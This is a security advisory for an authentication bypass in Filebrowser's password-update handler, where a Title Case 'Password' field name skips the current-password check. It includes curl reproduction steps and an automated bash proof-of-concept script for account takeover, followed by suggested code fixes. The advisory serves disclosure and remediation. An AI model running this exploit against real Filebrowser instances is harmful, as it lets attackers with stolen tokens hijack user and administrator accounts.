Security Advisory: Authentication Bypass in User Password Update

Summary

A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the current_password verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.

CVSS Score: 7.5 (High)
CWE: CWE-178 (Improper Handling of Case Sensitivity)

Details

The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).

Vulnerable Code

// http/users.go:181-200
if d.settings.AuthMethod == auth.MethodJSONAuth {
    var sensibleFields = map[string]struct{}{
        "all":          {},
        "username":     {},
        "password":     {},  // lowercase
        "scope":        {},
        "lockPassword": {},
        "commands":     {},
        "perm":         {},
    }

    for _, field := range req.Which {
        if _, ok := sensibleFields[field]; ok {  // Case-sensitive lookup
            if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
                return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
            }
            break
        }
    }
}

Root Cause

1. The sensibleFields map uses lowercase keys (e.g., "password")
2. The lookup sensibleFields[field] is case-sensitive
3. When req.Which contains "Password" (Title Case), the lookup returns false
4. The password verification block is skipped entirely
5. Later in the code (line 229), field names are converted to Title Case for processing, so "Password" is a valid field name

Attack Flow

1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)
2. Attacker sends PUT /api/users/{id} with:
   - which: ["Password"]  (Title Case - bypasses validation)
   - data.password: "attacker_password"
   - NO current_password field required
3. Password is changed without verification
4. Victim is locked out, attacker has full access

PoC

Prerequisites

• A valid JWT token for any user account
• Target Filebrowser instance using JSON authentication (default)

Reproduction Steps

Step 1: Obtain a valid JWT token

TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"victim","password":"victim_password"}')

Step 2: Attempt normal password change (should fail)

curl -s -X PUT "http://target:8080/api/users/1" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "what": "user",
    "which": ["password"],
    "data": {"id": 1, "password": "NewPassword123456"}
  }'
# Response: 400 Bad Request (the current password is incorrect)

Step 3: Bypass with Title Case (succeeds without current_password)

curl -s -X PUT "http://target:8080/api/users/1" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "what": "user",
    "which": ["Password"],
    "data": {"id": 1, "password": "HackedPassword123"}
  }'
# Response: 200 OK

Step 4: Verify account takeover

# Original password no longer works
curl -s -X POST "http://target:8080/api/login" \
  -d '{"username":"victim","password":"victim_password"}'
# Response: 403 Forbidden

# New password works
curl -s -X POST "http://target:8080/api/login" \
  -d '{"username":"victim","password":"HackedPassword123"}'
# Response: Valid JWT token

Automated PoC Script

#!/bin/bash
# Usage: ./poc.sh <target> <username> <current_password> <new_password>

TARGET="$1"
USERNAME="$2"
CURRENT_PASS="$3"
NEW_PASS="$4"

# Login
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}")

# Get user ID from token
USER_ID=$(echo "$TOKEN" | python3 -c "
import sys,json,base64
parts=input().split('.')
payload=json.loads(base64.b64decode(parts[1]+'=='))
print(payload['user']['id'])
")

# Exploit: Change password without current_password
curl -s -X PUT "$TARGET/api/users/$USER_ID" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"what\": \"user\",
    \"which\": [\"Password\"],
    \"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"}
  }"

echo "Password changed to: $NEW_PASS"

Impact

Who is Impacted

• All Filebrowser users using JSON authentication method (default configuration)
• Any user whose JWT token can be obtained by an attacker
• Particularly high-value targets: administrator accounts

Attack Scenarios

Security Impact

Scope

• The vulnerability affects password modification only
• Other sensitive fields (Username, Scope, Perm, etc.) have additional protection via NonModifiableFieldsForNonAdmin check
• However, for administrators, all fields can be modified using this bypass technique

Suggested Fix

Option 1: Case-insensitive field matching (Recommended)

// Convert field to lowercase before checking
for _, field := range req.Which {
    if _, ok := sensibleFields[strings.ToLower(field)]; ok {
        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
        }
        break
    }
}

Option 2: Use Title Case in sensibleFields

var sensibleFields = map[string]struct{}{
    "All":          {},
    "Username":     {},
    "Password":     {},  // Title Case to match post-transformation
    "Scope":        {},
    "LockPassword": {},
    "Commands":     {},
    "Perm":         {},
}

// Check AFTER field name transformation
for k, v := range req.Which {
    v = cases.Title(language.English, cases.NoLower).String(v)
    req.Which[k] = v
    
    // Now check with Title Case
    if _, ok := sensibleFields[v]; ok {
        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
        }
        break
    }
}

References

• Affected File: http/users.go
• Affected Lines: 181-200
• Related Code: NonModifiableFieldsForNonAdmin (line 17)